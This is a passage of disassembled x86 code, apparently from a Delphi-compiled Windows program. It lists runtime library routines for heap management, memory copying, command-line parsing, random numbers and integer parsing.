loc_4022E9: ; CODE XREF: sub_402178+11Cj
mov eax, ebx
call sub_402030
mov [ebp+var_4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40231B
loc_402300: ; CODE XREF: sub_402178+1A1j
cmp ds:byte_407035, 0
jz short locret_402313
push offset dword_4075B4
call sub_401104 ; RtlLeaveCriticalSection
locret_402313: ; CODE XREF: sub_402178+18Fj
retn
; ---------------------------------------------------------------------------
loc_402314: ; DATA XREF: sub_402178+30o
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_402300
; ---------------------------------------------------------------------------
loc_40231B: ; CODE XREF: sub_402178+28j
; sub_402178+111j ...
mov eax, [ebp+var_4]
pop ebx
mov esp, ebp
pop ebp
retn
sub_402178 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402324 proc near ; CODE XREF: sub_401C08+1Cp
; sub_402700+8Dp ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
push ebx
mov ebx, eax
xor eax, eax
mov ds:dword_4075B0, eax
cmp ds:byte_4075AC, 0
jnz short loc_40235C
call sub_40191C
test al, al
jnz short loc_40235C
mov ds:dword_4075B0, 8
mov [ebp+var_4], 8
jmp loc_4024F2
; ---------------------------------------------------------------------------
loc_40235C: ; CODE XREF: sub_402324+17j
; sub_402324+20j
xor edx, edx
push ebp
push offset loc_4024EB
push dword ptr fs:[edx]
mov fs:[edx], esp
cmp ds:byte_407035, 0
jz short loc_40237D
push offset dword_4075B4
call sub_4010FC ; RtlEnterCriticalSection
loc_40237D: ; CODE XREF: sub_402324+4Dj
mov [ebp+var_8], ebx
mov eax, [ebp+var_8]
sub eax, 4
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
mov ebx, [eax]
test bl, 2
jnz short loc_4023A2
mov ds:dword_4075B0, 9
jmp loc_4024C2
; ---------------------------------------------------------------------------
loc_4023A2: ; CODE XREF: sub_402324+6Dj
dec ds:dword_40759C
mov eax, ebx
and eax, 7FFFFFFCh
sub eax, 4
sub ds:dword_4075A0, eax
test bl, 1
jz short loc_402410
mov eax, [ebp+var_8]
sub eax, 0Ch
mov eax, [eax+8]
cmp eax, 0Ch
jl short loc_4023D2
test eax, 80000003h
jz short loc_4023E1
loc_4023D2: ; CODE XREF: sub_402324+A5j
mov ds:dword_4075B0, 0Ah
jmp loc_4024C2
; ---------------------------------------------------------------------------
loc_4023E1: ; CODE XREF: sub_402324+ACj
mov edx, [ebp+var_8]
sub edx, eax
mov [ebp+var_10], edx
mov edx, [ebp+var_10]
cmp eax, [edx+8]
jz short loc_402400
mov ds:dword_4075B0, 0Ah
jmp loc_4024C2
; ---------------------------------------------------------------------------
loc_402400: ; CODE XREF: sub_402324+CBj
add ebx, eax
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
call sub_401AF4
loc_402410: ; CODE XREF: sub_402324+97j
and ebx, 7FFFFFFCh
mov eax, [ebp+var_8]
add eax, ebx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
cmp eax, ds:dword_407608
jnz short loc_402455
sub ds:dword_407608, ebx
add ds:dword_407604, ebx
cmp ds:dword_407604, 3C00h
jle short loc_402446
call sub_401EC0
loc_402446: ; CODE XREF: sub_402324+11Bj
xor eax, eax
mov [ebp+var_4], eax
call sub_403048
jmp loc_4024F2
; ---------------------------------------------------------------------------
loc_402455: ; CODE XREF: sub_402324+103j
mov eax, [ebp+var_C]
mov eax, [eax]
test al, 2
jz short loc_40247C
and eax, 7FFFFFFCh
cmp eax, 4
jge short loc_402474
mov ds:dword_4075B0, 0Bh
jmp short loc_4024C2
; ---------------------------------------------------------------------------
loc_402474: ; CODE XREF: sub_402324+142j
mov eax, [ebp+var_C]
or dword ptr [eax], 1
jmp short loc_4024B8
; ---------------------------------------------------------------------------
loc_40247C: ; CODE XREF: sub_402324+138j
mov eax, [ebp+var_C]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
cmp dword ptr [eax+4], 0
jz short loc_40249C
mov eax, [ebp+var_10]
cmp dword ptr [eax], 0
jz short loc_40249C
mov eax, [ebp+var_10]
cmp dword ptr [eax+8], 0Ch
jge short loc_4024A8
loc_40249C: ; CODE XREF: sub_402324+165j
; sub_402324+16Dj
mov ds:dword_4075B0, 0Bh
jmp short loc_4024C2
; ---------------------------------------------------------------------------
loc_4024A8: ; CODE XREF: sub_402324+176j
mov eax, [ebp+var_10]
mov eax, [eax+8]
add ebx, eax
mov eax, [ebp+var_10]
call sub_401AF4
loc_4024B8: ; CODE XREF: sub_402324+156j
mov edx, ebx
mov eax, [ebp+var_8]
call sub_401DC8
loc_4024C2: ; CODE XREF: sub_402324+79j
; sub_402324+B8j ...
mov eax, ds:dword_4075B0
mov [ebp+var_4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4024F2
loc_4024D7: ; CODE XREF: sub_402324+1CCj
cmp ds:byte_407035, 0
jz short locret_4024EA
push offset dword_4075B4
call sub_401104 ; RtlLeaveCriticalSection
locret_4024EA: ; CODE XREF: sub_402324+1BAj
retn
; ---------------------------------------------------------------------------
loc_4024EB: ; DATA XREF: sub_402324+3Bo
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_4024D7
; ---------------------------------------------------------------------------
loc_4024F2: ; CODE XREF: sub_402324+33j
; sub_402324+12Cj
; DATA XREF: ...
mov eax, [ebp+var_4]
pop ebx
mov esp, ebp
pop ebp
retn
sub_402324 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4024FC proc near ; CODE XREF: sub_402700+4Dp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFFFF4h
mov ebx, edx
add ebx, 7
and ebx, 0FFFFFFFCh
cmp ebx, 0Ch
jge short loc_402515
mov ebx, 0Ch
loc_402515: ; CODE XREF: sub_4024FC+12j
sub eax, 4
mov [esp+1Ch+var_1C], eax
mov eax, [esp+1Ch+var_1C]
mov esi, [eax]
and esi, 7FFFFFFCh
mov eax, [esp+1Ch+var_1C]
add eax, esi
mov [esp+1Ch+var_18], eax
cmp esi, ebx
jnz short loc_40253A
mov al, 1
jmp loc_4026F7
; ---------------------------------------------------------------------------
loc_40253A: ; CODE XREF: sub_4024FC+35j
cmp esi, ebx
jle loc_4025D2
mov ebp, esi
sub ebp, ebx
mov edx, [esp+1Ch+var_18]
cmp edx, ds:dword_407608
jnz short loc_40257E
sub ds:dword_407608, ebp
add ds:dword_407604, ebp
cmp ds:dword_407604, 0Ch
jge loc_4026DA
add ds:dword_407608, ebp
sub ds:dword_407604, ebp
mov ebx, esi
jmp loc_4026DA
; ---------------------------------------------------------------------------
loc_40257E: ; CODE XREF: sub_4024FC+54j
mov [esp+1Ch+var_18], eax
mov eax, [esp+1Ch+var_18]
test byte ptr [eax], 2
jnz short loc_4025A3
mov eax, [esp+1Ch+var_18]
mov [esp+1Ch+var_14], eax
mov eax, [esp+1Ch+var_14]
add ebp, [eax+8]
mov eax, [esp+1Ch+var_14]
call sub_401AF4
loc_4025A3: ; CODE XREF: sub_4024FC+8Dj
cmp ebp, 0Ch
jl short loc_4025CB
mov eax, [esp+1Ch+var_1C]
add eax, ebx
mov [esp+1Ch+var_18], eax
or ebp, 2
mov eax, [esp+1Ch+var_18]
mov [eax], ebp
mov eax, [esp+1Ch+var_18]
add eax, 4
call sub_401C08
jmp loc_4026DA
; ---------------------------------------------------------------------------
loc_4025CB: ; CODE XREF: sub_4024FC+AAj
mov ebx, esi
jmp loc_4026DA
; ---------------------------------------------------------------------------
loc_4025D2: ; CODE XREF: sub_4024FC+40j
; sub_4024FC+1D5j
mov edi, ebx
sub edi, esi
mov eax, [esp+1Ch+var_18]
cmp eax, ds:dword_407608
jnz short loc_402647
cmp edi, ds:dword_407604
jg short loc_402639
sub ds:dword_407604, edi
add ds:dword_407608, edi
cmp ds:dword_407604, 0Ch
jge short loc_402617
mov eax, ds:dword_407604
add ds:dword_407608, eax
add ebx, ds:dword_407604
xor eax, eax
mov ds:dword_407604, eax
loc_402617: ; CODE XREF: sub_4024FC+101j
mov eax, ebx
sub eax, esi
add ds:dword_4075A0, eax
mov eax, [esp+1Ch+var_1C]
mov eax, [eax]
and eax, 80000003h
or ebx, eax
mov eax, [esp+1Ch+var_1C]
mov [eax], ebx
mov al, 1
jmp loc_4026F7
; ---------------------------------------------------------------------------
loc_402639: ; CODE XREF: sub_4024FC+ECj
call sub_401EC0
mov eax, [esp+1Ch+var_1C]
add eax, esi
mov [esp+1Ch+var_18], eax
loc_402647: ; CODE XREF: sub_4024FC+E4j
mov eax, [esp+1Ch+var_18]
test byte ptr [eax], 2
jnz short loc_40269F
mov eax, [esp+1Ch+var_18]
mov [esp+1Ch+var_14], eax
mov edx, [esp+1Ch+var_14]
mov ebp, [edx+8]
cmp edi, ebp
jle short loc_40266D
add eax, ebp
mov [esp+1Ch+var_18], eax
sub edi, ebp
jmp short loc_40269F
; ---------------------------------------------------------------------------
loc_40266D: ; CODE XREF: sub_4024FC+165j
mov eax, [esp+1Ch+var_14]
call sub_401AF4
sub ebp, edi
cmp ebp, 0Ch
jl short loc_40268B
mov eax, [esp+1Ch+var_1C]
add eax, ebx
mov edx, ebp
call sub_401DC8
jmp short loc_4026DA
; ---------------------------------------------------------------------------
loc_40268B: ; CODE XREF: sub_4024FC+17Fj
add ebx, ebp
mov eax, [esp+1Ch+var_1C]
add eax, ebx
mov [esp+1Ch+var_18], eax
mov eax, [esp+1Ch+var_18]
and dword ptr [eax], 0FFFFFFFEh
jmp short loc_4026DA
; ---------------------------------------------------------------------------
loc_40269F: ; CODE XREF: sub_4024FC+152j
; sub_4024FC+16Fj
mov eax, [esp+1Ch+var_18]
mov eax, [eax]
test eax, 80000000h
jz short loc_4026D6
and eax, 7FFFFFFCh
add eax, [esp+1Ch+var_18]
mov [esp+1Ch+var_18], eax
mov edx, edi
mov eax, [esp+1Ch+var_18]
call sub_401FC4
test al, al
jz short loc_4026D6
mov eax, [esp+1Ch+var_1C]
add eax, esi
mov [esp+1Ch+var_18], eax
jmp loc_4025D2
; ---------------------------------------------------------------------------
loc_4026D6: ; CODE XREF: sub_4024FC+1AEj
; sub_4024FC+1CAj
xor eax, eax
jmp short loc_4026F7
; ---------------------------------------------------------------------------
loc_4026DA: ; CODE XREF: sub_4024FC+69j
; sub_4024FC+7Dj ...
mov eax, ebx
sub eax, esi
add ds:dword_4075A0, eax
mov eax, [esp+1Ch+var_1C]
mov eax, [eax]
and eax, 80000003h
or ebx, eax
mov eax, [esp+1Ch+var_1C]
mov [eax], ebx
mov al, 1
loc_4026F7: ; CODE XREF: sub_4024FC+39j
; sub_4024FC+138j ...
add esp, 0Ch
pop ebp
pop edi
pop esi
pop ebx
retn
sub_4024FC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402700 proc near ; CODE XREF: sub_40281C+Dp
; DATA XREF: DATA:off_406030o
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push ebx
push esi
mov esi, edx
mov ebx, eax
cmp ds:byte_4075AC, 0
jnz short loc_402728
call sub_40191C
test al, al
jnz short loc_402728
xor eax, eax
mov [ebp+var_4], eax
jmp loc_4027C0
; ---------------------------------------------------------------------------
loc_402728: ; CODE XREF: sub_402700+13j
; sub_402700+1Cj
xor edx, edx
push ebp
push offset loc_4027B9
push dword ptr fs:[edx]
mov fs:[edx], esp
cmp ds:byte_407035, 0
jz short loc_402749
push offset dword_4075B4
call sub_4010FC ; RtlEnterCriticalSection
loc_402749: ; CODE XREF: sub_402700+3Dj
mov edx, esi
mov eax, ebx
call sub_4024FC
test al, al
jz short loc_40275B
mov [ebp+var_4], ebx
jmp short loc_402798
; ---------------------------------------------------------------------------
loc_40275B: ; CODE XREF: sub_402700+54j
mov eax, esi
call sub_402178
mov [ebp+var_8], eax
mov eax, ebx
sub eax, 4
mov eax, [eax]
and eax, 7FFFFFFCh
sub eax, 4
cmp esi, eax
jge short loc_40277A
mov eax, esi
loc_40277A: ; CODE XREF: sub_402700+76j
cmp [ebp+var_8], 0
jz short loc_402792
mov edx, [ebp+var_8]
mov ecx, ebx
xchg eax, ecx
call sub_4028E0
mov eax, ebx
call sub_402324
loc_402792: ; CODE XREF: sub_402700+7Ej
mov eax, [ebp+var_8]
mov [ebp+var_4], eax
loc_402798: ; CODE XREF: sub_402700+59j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4027C0
loc_4027A5: ; CODE XREF: sub_402700+BEj
cmp ds:byte_407035, 0
jz short locret_4027B8
push offset dword_4075B4
call sub_401104 ; RtlLeaveCriticalSection
locret_4027B8: ; CODE XREF: sub_402700+ACj
retn
; ---------------------------------------------------------------------------
loc_4027B9: ; DATA XREF: sub_402700+2Bo
jmp loc_402F8C
; ---------------------------------------------------------------------------
jmp short loc_4027A5
; ---------------------------------------------------------------------------
loc_4027C0: ; CODE XREF: sub_402700+23j
; DATA XREF: sub_402700+A0o
mov eax, [ebp+var_4]
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
retn
sub_402700 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4027CC proc near ; CODE XREF: sub_4035B0+Cp
; CODE:00404E24p
var_8 = dword ptr -8
push ebx
push ecx
mov ebx, eax
test ebx, ebx
jle short loc_4027EE
mov eax, ebx
call ds:off_406028
mov [esp+8+var_8], eax
cmp [esp+8+var_8], 0
jnz short loc_4027F3
mov al, 1
call sub_4028C4
; ---------------------------------------------------------------------------
jmp short loc_4027F3
; ---------------------------------------------------------------------------
loc_4027EE: ; CODE XREF: sub_4027CC+6j
xor eax, eax
mov [esp+8+var_8], eax
loc_4027F3: ; CODE XREF: sub_4027CC+17j
; sub_4027CC+20j
mov eax, [esp+8+var_8]
pop edx
pop ebx
retn
sub_4027CC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4027FC proc near ; CODE XREF: sub_403518+1Cp
; sub_40353C+21p ...
push ebx
test eax, eax
jz short loc_402816
call ds:off_40602C
mov ebx, eax
test ebx, ebx
jz short loc_402818
mov al, 2
call sub_4028C4
; ---------------------------------------------------------------------------
jmp short loc_402818
; ---------------------------------------------------------------------------
loc_402816: ; CODE XREF: sub_4027FC+3j
xor ebx, ebx
loc_402818: ; CODE XREF: sub_4027FC+Fj
; sub_4027FC+18j
mov eax, ebx
pop ebx
retn
sub_4027FC endp
; =============== S U B R O U T I N E =======================================
sub_40281C proc near ; CODE XREF: sub_403734+22p
mov ecx, [eax]
test ecx, ecx
jz short loc_402854
test edx, edx
jz short loc_40283E
push eax
mov eax, ecx
call ds:off_406030
pop ecx
or eax, eax
jz short loc_40284D
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_402837: ; CODE XREF: sub_40281C+2Ej
mov al, 2
jmp sub_4028C4
; ---------------------------------------------------------------------------
loc_40283E: ; CODE XREF: sub_40281C+8j
mov [eax], edx
mov eax, ecx
call ds:off_40602C
or eax, eax
jnz short loc_402837
retn
; ---------------------------------------------------------------------------
loc_40284D: ; CODE XREF: sub_40281C+16j
; sub_40281C+48j
mov al, 1
jmp sub_4028C4
; ---------------------------------------------------------------------------
loc_402854: ; CODE XREF: sub_40281C+4j
test edx, edx
jz short locret_402868
push eax
mov eax, edx
call ds:off_406028
pop ecx
or eax, eax
jz short loc_40284D
mov [ecx], eax
locret_402868: ; CODE XREF: sub_40281C+3Aj
retn
sub_40281C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40286C proc near ; CODE XREF: sub_402878+42p
; CODE:004030F7p
mov ds:dword_406004, edx
call sub_403500
sub_40286C endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_402878 proc near ; CODE XREF: sub_4028C4+6j
push ebx
push esi
mov esi, edx
mov ebx, eax
and bl, 7Fh
cmp ds:dword_407008, 0
jz short loc_402894
mov edx, esi
mov eax, ebx
call ds:dword_407008
loc_402894: ; CODE XREF: sub_402878+10j
test bl, bl
jnz short loc_4028A5
call sub_403C48
mov ebx, [eax+4]
jmp short loc_4028B4
; ---------------------------------------------------------------------------
loc_4028A5: ; CODE XREF: sub_402878+1Ej
cmp bl, 18h
ja short loc_4028B4
xor eax, eax
mov al, bl
mov bl, ds:byte_406034[eax]
loc_4028B4: ; CODE XREF: sub_402878+2Bj
; sub_402878+30j
xor eax, eax
mov al, bl
mov edx, esi
call sub_40286C
sub_402878 endp
; ---------------------------------------------------------------------------
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4028C4 proc near ; CODE XREF: sub_4027CC+1Bp
; sub_4027FC+13p ...
and eax, 7Fh
mov edx, [esp+0]
jmp sub_402878
sub_4028C4 endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_4028D0 proc near ; CODE XREF: sub_402AF4+38p
; sub_402AF4+4Cp
push ebx
mov ebx, eax
call sub_403C48
mov [eax+4], ebx
pop ebx
retn
sub_4028D0 endp
; =============== S U B R O U T I N E =======================================
sub_4028E0 proc near ; CODE XREF: sub_402700+86p
; sub_40356C+1Bp ...
push esi
push edi
mov esi, eax
mov edi, edx
mov eax, ecx
cmp edi, esi
ja short loc_4028FF
jz short loc_40291D
sar ecx, 2
js short loc_40291D
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4028FF: ; CODE XREF: sub_4028E0+Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
sar ecx, 2
js short loc_40291D
std
rep movsd
mov ecx, eax
and ecx, 3
add esi, 3
add edi, 3
rep movsb
cld
loc_40291D: ; CODE XREF: sub_4028E0+Cj
; sub_4028E0+11j ...
pop edi
pop esi
retn
sub_4028E0 endp
; =============== S U B R O U T I N E =======================================
sub_402920 proc near ; CODE XREF: sub_402A84+44p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
push ebx
push esi
push edi
push ebp
add esp, 0FFFFFFE8h
mov [esp+28h+var_24], edx
mov [esp+28h+var_28], eax
mov esi, esp
lea edi, [esp+28h+var_14]
jmp short loc_402940
; ---------------------------------------------------------------------------
loc_402936: ; CODE XREF: sub_402920+2Bj
mov eax, [esi]
push eax
call sub_401028 ; CharNextA
mov [esi], eax
loc_402940: ; CODE XREF: sub_402920+14j
; sub_402920+3Fj
mov eax, [esi]
mov bl, [eax]
test bl, bl
jz short loc_40294D
cmp bl, 20h
jbe short loc_402936
loc_40294D: ; CODE XREF: sub_402920+26j
mov eax, [esi]
cmp byte ptr [eax], 22h
jnz short loc_402961
mov eax, [esi]
cmp byte ptr [eax+1], 22h
jnz short loc_402961
add dword ptr [esi], 2
jmp short loc_402940
; ---------------------------------------------------------------------------
loc_402961: ; CODE XREF: sub_402920+32j
; sub_402920+3Aj
xor ebp, ebp
mov eax, [esi]
mov [esp+28h+var_1C], eax
jmp short loc_4029C6
; ---------------------------------------------------------------------------
loc_40296B: ; CODE XREF: sub_402920+ABj
mov eax, [esi]
cmp byte ptr [eax], 22h
jnz short loc_4029B2
mov eax, [esi]
push eax
call sub_401028 ; CharNextA
mov [esi], eax
jmp short loc_402992
; ---------------------------------------------------------------------------
loc_40297E: ; CODE XREF: sub_402920+7Dj
mov eax, [esi]
push eax
call sub_401028 ; CharNextA
mov [edi], eax
mov eax, [edi]
sub eax, [esi]
add ebp, eax
mov eax, [edi]
mov [esi], eax
loc_402992: ; CODE XREF: sub_402920+5Cj
mov eax, [esi]
mov bl, [eax]
test bl, bl
jz short loc_40299F
cmp bl, 22h
jnz short loc_40297E
loc_40299F: ; CODE XREF: sub_402920+78j
mov eax, [esi]
cmp byte ptr [eax], 0
jz short loc_4029C6
mov eax, [esi]
push eax
call sub_401028 ; CharNextA
mov [esi], eax
jmp short loc_4029C6
; ---------------------------------------------------------------------------
loc_4029B2: ; CODE XREF: sub_402920+50j
mov eax, [esi]
push eax
call sub_401028 ; CharNextA
mov [edi], eax
mov eax, [edi]
sub eax, [esi]
add ebp, eax
mov eax, [edi]
mov [esi], eax
loc_4029C6: ; CODE XREF: sub_402920+49j
; sub_402920+84j ...
mov eax, [esi]
cmp byte ptr [eax], 20h
ja short loc_40296B
mov eax, [esp+28h+var_24]
mov edx, ebp
call sub_403734
mov eax, [esp+28h+var_1C]
mov [esi], eax
mov eax, [esp+28h+var_24]
mov eax, [eax]
mov [esp+28h+var_18], eax
xor ebp, ebp
jmp short loc_402A67
; ---------------------------------------------------------------------------
loc_4029EC: ; CODE XREF: sub_402920+14Cj
mov eax, [esi]
cmp byte ptr [eax], 22h
jnz short loc_402A43
mov eax, [esi]
push eax
call sub_401028 ; CharNextA
mov [esi], eax
jmp short loc_402A23
; ---------------------------------------------------------------------------
loc_4029FF: ; CODE XREF: sub_402920+10Ej
mov eax, [esi]
push eax
call sub_401028 ; CharNextA
mov [edi], eax
mov eax, [esi]
cmp eax, [edi]
jnb short loc_402A23
loc_402A0F: ; CODE XREF: sub_402920+101j
mov eax, [esi]
mov al, [eax]
mov edx, [esp+28h+var_18]
mov [edx+ebp], al
inc dword ptr [esi]
inc ebp
mov eax, [esi]
cmp eax, [edi]
jb short loc_402A0F
loc_402A23: ; CODE XREF: sub_402920+DDj
; sub_402920+EDj
mov eax, [esi]
mov bl, [eax]
test bl, bl
jz short loc_402A30
cmp bl, 22h
jnz short loc_4029FF
loc_402A30: ; CODE XREF: sub_402920+109j
mov eax, [esi]
cmp byte ptr [eax], 0
jz short loc_402A67
mov eax, [esi]
push eax
call sub_401028 ; CharNextA
mov [esi], eax
jmp short loc_402A67
; ---------------------------------------------------------------------------
loc_402A43: ; CODE XREF: sub_402920+D1j
mov eax, [esi]
push eax
call sub_401028 ; CharNextA
mov [edi], eax
mov eax, [esi]
cmp eax, [edi]
jnb short loc_402A67
loc_402A53: ; CODE XREF: sub_402920+145j
mov eax, [esi]
mov al, [eax]
mov edx, [esp+28h+var_18]
mov [edx+ebp], al
inc dword ptr [esi]
inc ebp
mov eax, [esi]
cmp eax, [edi]
jb short loc_402A53
loc_402A67: ; CODE XREF: sub_402920+CAj
; sub_402920+115j ...
mov eax, [esi]
cmp byte ptr [eax], 20h
ja loc_4029EC
mov eax, [esi]
mov [esp+28h+var_20], eax
mov eax, [esp+28h+var_20]
add esp, 18h
pop ebp
pop edi
pop esi
pop ebx
retn
sub_402920 endp
; =============== S U B R O U T I N E =======================================
sub_402A84 proc near ; CODE XREF: CODE:00404E6Cp
var_114 = dword ptr -114h
var_110 = byte ptr -110h
push ebx
push esi
add esp, 0FFFFFEF4h
mov ebx, edx
mov esi, eax
mov eax, ebx
call sub_403518
test esi, esi
jnz short loc_402ABB
push 105h
lea eax, [esp+118h+var_110]
push eax
push 0
call sub_401058 ; GetModuleFileNameA
mov ecx, eax
lea edx, [esp+114h+var_110]
mov eax, ebx
call sub_4035DC
jmp short loc_402ADC
; ---------------------------------------------------------------------------
loc_402ABB: ; CODE XREF: sub_402A84+15j
call sub_401048 ; GetCommandLineA
mov [esp+114h+var_114], eax
loc_402AC3: ; CODE XREF: sub_402A84+56j
mov edx, ebx
mov eax, [esp+114h+var_114]
call sub_402920
mov [esp+114h+var_114], eax
test esi, esi
jz short loc_402ADC
cmp dword ptr [ebx], 0
jz short loc_402ADC
dec esi
jmp short loc_402AC3
; ---------------------------------------------------------------------------
loc_402ADC: ; CODE XREF: sub_402A84+35j
; sub_402A84+4Ej ...
add esp, 10Ch
pop esi
pop ebx
retn
sub_402A84 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_402AE8 proc near ; CODE XREF: sub_4042A4+81p
var_8 = qword ptr -8
sub esp, 8
fistp [esp+8+var_8]
wait
pop eax
pop edx
retn
sub_402AE8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_402AF4 proc near ; CODE XREF: sub_403A90+1Ep
; sub_403A90+28p ...
push ebx
push esi
mov ebx, eax
xor esi, esi
mov ax, [ebx+4]
cmp ax, 0D7B1h
jb short loc_402B33
cmp ax, 0D7B3h
ja short loc_402B33
and ax, 0D7B2h
cmp ax, 0D7B2h
jnz short loc_402B1B
mov eax, ebx
call dword ptr [ebx+1Ch]
mov esi, eax
loc_402B1B: ; CODE XREF: sub_402AF4+1Ej
test esi, esi
jnz short loc_402B26
mov eax, ebx
call dword ptr [ebx+24h]
mov esi, eax
loc_402B26: ; CODE XREF: sub_402AF4+29j
test esi, esi
jz short loc_402B45
mov eax, esi
call sub_4028D0
jmp short loc_402B45
; ---------------------------------------------------------------------------
loc_402B33: ; CODE XREF: sub_402AF4+Ej
; sub_402AF4+14j
cmp ebx, offset dword_407038
jz short loc_402B45
mov eax, 67h
call sub_4028D0
loc_402B45: ; CODE XREF: sub_402AF4+34j
; sub_402AF4+3Dj ...
mov eax, esi
pop esi
pop ebx
retn
sub_402AF4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_402B4C proc near ; CODE XREF: sub_403E54+43p
; sub_403E54+53p
push edi
mov edi, eax
mov ch, cl
mov eax, ecx
shl eax, 10h
mov ax, cx
mov ecx, edx
sar ecx, 2
js short loc_402B69
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_402B69: ; CODE XREF: sub_402B4C+12j
pop edi
retn
sub_402B4C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_402B6C proc near ; CODE XREF: CODE:00404629p
; CODE:00404639p ...
push ebx
xor ebx, ebx
imul edx, ds:dword_406008[ebx], 8088405h
inc edx
mov ds:dword_406008[ebx], edx
mul edx
mov eax, edx
pop ebx
retn
sub_402B6C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_402B88 proc near ; CODE XREF: sub_403A1C+41p
push ebx
push esi
push edi
mov esi, eax
push eax
test eax, eax
jz short loc_402BFE
xor eax, eax
xor ebx, ebx
mov edi, 0CCCCCCCh
loc_402B9B: ; CODE XREF: sub_402B88+19j
mov bl, [esi]
inc esi
cmp bl, 20h
jz short loc_402B9B
mov ch, 0
cmp bl, 2Dh
jz short loc_402C0C
cmp bl, 2Bh
jz short loc_402C0E
loc_402BAF: ; CODE XREF: sub_402B88+89j
cmp bl, 24h
jz short loc_402C13
cmp bl, 78h
jz short loc_402C13
cmp bl, 58h
jz short loc_402C13
cmp bl, 30h
jnz short loc_402BD6
mov bl, [esi]
inc esi
cmp bl, 78h
jz short loc_402C13
cmp bl, 58h
jz short loc_402C13
test bl, bl
jz short loc_402BF4
jmp short loc_402BDA
; ---------------------------------------------------------------------------
loc_402BD6: ; CODE XREF: sub_402B88+39j
test bl, bl
jz short loc_402C07
loc_402BDA: ; CODE XREF: sub_402B88+4Cj
; sub_402B88+6Aj
sub bl, 30h
cmp bl, 9
ja short loc_402C07
cmp eax, edi
ja short loc_402C07
lea eax, [eax+eax*4]
add eax, eax
add eax, ebx
mov bl, [esi]
inc esi
test bl, bl
jnz short loc_402BDA
loc_402BF4: ; CODE XREF: sub_402B88+4Aj
dec ch
jz short loc_402C01
test eax, eax
jge short loc_402C50
jmp short loc_402C07
; ---------------------------------------------------------------------------
loc_402BFE: ; CODE XREF: sub_402B88+8j
; sub_402B88+95j
inc esi
jmp short loc_402C07
; ---------------------------------------------------------------------------
loc_402C01: ; CODE XREF: sub_402B88+6Ej
neg eax
jle short loc_402C50
js short loc_402C50
loc_402C07: ; CODE XREF: sub_402B88+50j
; sub_402B88+58j ...
pop ebx
sub esi, ebx
jmp short loc_402C53
; ---------------------------------------------------------------------------
loc_402C0C: ; CODE XREF: sub_402B88+20j
inc ch
loc_402C0E: ; CODE XREF: sub_402B88+25j
mov bl, [esi]
inc esi
jmp short loc_402BAF
; ---------------------------------------------------------------------------
loc_402C13: ; CODE XREF: sub_402B88+2Aj
; sub_402B88+2Fj ...
mov edi, 0FFFFFFFh
mov bl, [esi]
inc esi
test bl, bl
jz short loc_402BFE
loc_402C1F: ; CODE XREF: sub_402B88+C0j
cmp bl, 61h
jb short loc_402C27
sub bl, 20h
loc_402C27: ; CODE XREF: sub_402B88+9Aj
sub bl, 30h
cmp bl, 9
jbe short loc_402C3A
sub bl, 11h
cmp bl, 5
ja short loc_402C07
add bl, 0Ah
loc_402C3A: ; CODE XREF: sub_402B88+A5j
cmp eax, edi
ja short loc_402C07
shl eax, 4
add eax, ebx
mov bl, [esi]
inc esi
test bl, bl
jnz short loc_402C1F
dec ch
jnz short loc_402C50
neg eax
loc_402C50: ; CODE XREF: sub_402B88+72j
; sub_402B88+7Bj ...
pop ecx
xor esi, esi
loc_402C53: ; CODE XREF: sub_402B88+82j
mov [edx], esi
pop edi
pop esi
pop ebx
retn
sub_402B88 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402C5C proc near ; CODE XREF: sub_402C64+5p
; sub_402C64+11p
jmp ds:dword_408100
sub_402C5C endp
; ---------------------------------------------------------------------------
align 4
